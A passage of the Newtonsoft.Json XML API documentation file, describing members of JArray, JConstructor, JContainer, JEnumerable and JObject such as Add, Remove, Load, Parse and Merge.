<see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.Item(System.Int32)\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> at the specified index.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.IndexOf(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Determines the index of a specific item in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n            <param name=\"item\">The object to locate in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>\n            The index of <paramref name=\"item\"/> if found in the list; otherwise, -1.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Insert(System.Int32,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Inserts an item to the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> at the specified index.\n            </summary>\n            <param name=\"index\">The zero-based index at which <paramref name=\"item\"/> should be inserted.</param>\n            <param name=\"item\">The object to insert into the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <exception cref=\"T:System.ArgumentOutOfRangeException\">\n            <paramref name=\"index\"/> is not a valid index in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.RemoveAt(System.Int32)\">\n            <summary>\n            Removes the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> item at the specified index.\n            </summary>\n            <param name=\"index\">The zero-based index of the item to remove.</param>\n            <exception cref=\"T:System.ArgumentOutOfRangeException\">\n            <paramref name=\"index\"/> is not a valid index in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.GetEnumerator\">\n            <summary>\n            Returns an enumerator that iterates through the collection.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that can be used to iterate through the collection.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Add(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Adds an item to the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n            <param name=\"item\">The object to add to the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Clear\">\n            <summary>\n            Removes all items from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Contains(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Determines whether the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> contains a specific value.\n            </summary>\n            <param name=\"item\">The object to locate in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>\n            <c>true</c> if <paramref name=\"item\"/> is found in the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.CopyTo(Newtonsoft.Json.Linq.JToken[],System.Int32)\">\n            <summary>\n            Copies the elements of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> to an array, starting at a particular array index.\n            </summary>\n            <param name=\"array\">The array.</param>\n            <param name=\"arrayIndex\">Index of the array.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.IsReadOnly\">\n            <summary>\n            Gets a value indicating whether the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> is read-only.\n            </summary>\n            <returns><c>true</c> if the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> is read-only; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Remove(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Removes the first occurrence of a specific object from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </summary>\n            <param name=\"item\">The object to remove from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>\n            <c>true</c> if <paramref name=\"item\"/> was successfully removed from the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>; otherwise, <c>false</c>. This method also returns <c>false</c> if <paramref name=\"item\"/> is not found in the original <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JConstructor\">\n            <summary>\n            Represents a JSON constructor.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.Name\">\n            <summary>\n            Gets or sets the name of this constructor.\n            </summary>\n            <value>The constructor name.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(Newtonsoft.Json.Linq.JConstructor)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(System.String,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class with the specified name and content.\n            </summary>\n            <param name=\"name\">The constructor name.</param>\n            <param name=\"content\">The contents of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(System.String,System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class with the specified name and content.\n            </summary>\n            <param name=\"name\">The constructor name.</param>\n            <param name=\"content\">The contents of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> class with the specified name.\n            </summary>\n            <param name=\"name\">The constructor name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JConstructor.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JConstructor.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JConstructor\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JContainer\">\n            <summary>\n            Represents a token that can contain other tokens.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JContainer.ListChanged\">\n            <summary>\n            Occurs when the list changes or an item in the list changes.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JContainer.AddingNew\">\n            <summary>\n            Occurs before an item is added to the collection.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JContainer.CollectionChanged\">\n            <summary>\n            Occurs when the items list of the collection has changed, or the collection is reset.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.OnAddingNew(System.ComponentModel.AddingNewEventArgs)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JContainer.AddingNew\"/> event.\n            </summary>\n            <param name=\"e\">The <see cref=\"T:System.ComponentModel.AddingNewEventArgs\"/> instance containing the event data.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.OnListChanged(System.ComponentModel.ListChangedEventArgs)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JContainer.ListChanged\"/> event.\n            </summary>\n            <param name=\"e\">The <see cref=\"T:System.ComponentModel.ListChangedEventArgs\"/> instance containing the event data.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.OnCollectionChanged(System.Collections.Specialized.NotifyCollectionChangedEventArgs)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JContainer.CollectionChanged\"/> event.\n            </summary>\n            <param name=\"e\">The <see cref=\"T:System.Collections.Specialized.NotifyCollectionChangedEventArgs\"/> instance containing the event data.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.HasValues\">\n            <summary>\n            Gets a value indicating whether this token has child tokens.\n            </summary>\n            <value>\n            \t<c>true</c> if this token has child values; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.First\">\n            <summary>\n            Get the first child token of this token.\n            </summary>\n            <value>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the first child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.Last\">\n            <summary>\n            Get the last child token of this token.\n            </summary>\n            <value>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the last child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Children\">\n            <summary>\n            Returns a collection of the child tokens of this token, in document order.\n            </summary>\n            <returns>\n            An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the child tokens of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Values``1\">\n            <summary>\n            Returns a collection of the child values of this token, in document order.\n            </summary>\n            <typeparam name=\"T\">The type to convert the values to.</typeparam>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> containing the child values of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Descendants\">\n            <summary>\n            Returns a collection of the descendant tokens for this token in document order.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the descendant tokens of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.DescendantsAndSelf\">\n            <summary>\n            Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing this token, and all the descendant tokens of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Add(System.Object)\">\n            <summary>\n            Adds the specified content as children of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"content\">The content to be added.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.AddFirst(System.Object)\">\n            <summary>\n            Adds the specified content as the first children of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"content\">The content to be added.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.CreateWriter\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> that can be used to add tokens to the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> that is ready to have content written to it.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.ReplaceAll(System.Object)\">\n            <summary>\n            Replaces the child nodes of this token with the specified content.\n            </summary>\n            <param name=\"content\">The content.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.RemoveAll\">\n            <summary>\n            Removes the child nodes from this token.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Merge(System.Object)\">\n            <summary>\n            Merge the specified content into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"content\">The content to be merged.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Merge(System.Object,Newtonsoft.Json.Linq.JsonMergeSettings)\">\n            <summary>\n            Merge the specified content into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using <see cref=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\"/>.\n            </summary>\n            <param name=\"content\">The content to be merged.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\"/> used to merge the content.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.Count\">\n            <summary>\n            Gets the count of child JSON tokens.\n            </summary>\n            <value>The count of child JSON tokens.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JEnumerable`1\">\n            <summary>\n            Represents a collection of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> objects.\n            </summary>\n            <typeparam name=\"T\">The type of token.</typeparam>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JEnumerable`1.Empty\">\n            <summary>\n            An empty collection of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> objects.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.#ctor(System.Collections.Generic.IEnumerable{`0})\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> struct.\n            </summary>\n            <param name=\"enumerable\">The enumerable.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.GetEnumerator\">\n            <summary>\n            Returns an enumerator that can be used to iterate through the collection.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> that can be used to iterate through the collection.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JEnumerable`1.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.Equals(Newtonsoft.Json.Linq.JEnumerable{`0})\">\n            <summary>\n            Determines whether the specified <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> is equal to this instance.\n            </summary>\n            <param name=\"other\">The <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> to compare with this instance.</param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> is equal to this instance; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.Equals(System.Object)\">\n            <summary>\n            Determines whether the specified <see cref=\"T:System.Object\"/> is equal to this instance.\n            </summary>\n            <param name=\"obj\">The <see cref=\"T:System.Object\"/> to compare with this instance.</param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:System.Object\"/> is equal to this instance; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.GetHashCode\">\n            <summary>\n            Returns a hash code for this instance.\n            </summary>\n            <returns>\n            A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. \n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JObject\">\n            <summary>\n            Represents a JSON object.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParse\" title=\"Parsing a JSON Object from Text\" />\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanged\">\n            <summary>\n            Occurs when a property value changes.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanging\">\n            <summary>\n            Occurs when a property value is changing.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor(Newtonsoft.Json.Linq.JObject)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor(System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the object.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the object.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Properties\">\n            <summary>\n            Gets an <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> of this object's properties.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> of this object's properties.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Property(System.String)\">\n            <summary>\n            Gets a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> with the specified name.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> with the specified name or <c>null</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Property(System.String,System.StringComparison)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> with the specified name.\n            The exact name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <param name=\"comparison\">One of the enumeration values that specifies how the strings will be compared.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> matched with the specified name or <c>null</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.PropertyValues\">\n            <summary>\n            Gets a <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this object's property values.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this object's property values.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.Item(System.String)\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"reader\"/> is not valid JSON.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"reader\"/> is not valid JSON.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> populated from the string that contains JSON.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"json\"/> is not valid JSON.\n            </exception>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParse\" title=\"Parsing a JSON Object from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Parse(System.String,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> populated from the string that contains JSON.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"json\"/> is not valid JSON.\n            </exception>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParse\" title=\"Parsing a JSON Object from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.FromObject(System.Object)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.FromObject(System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used to read the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetValue(System.String)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetValue(System.String,System.StringComparison)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            The exact property name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"comparison\">One of the enumeration values that specifies how the strings will be compared.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.TryGetValue(System.String,System.StringComparison,Newtonsoft.Json.Linq.JToken@)\">\n            <summary>\n            Tries to get the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            The exact property name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"comparison\">One of the enumeration values that specifies how the strings will be compared.</param>\n            <returns><c>true</c> if a value was successfully retrieved; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Add(System.String,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Adds the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the 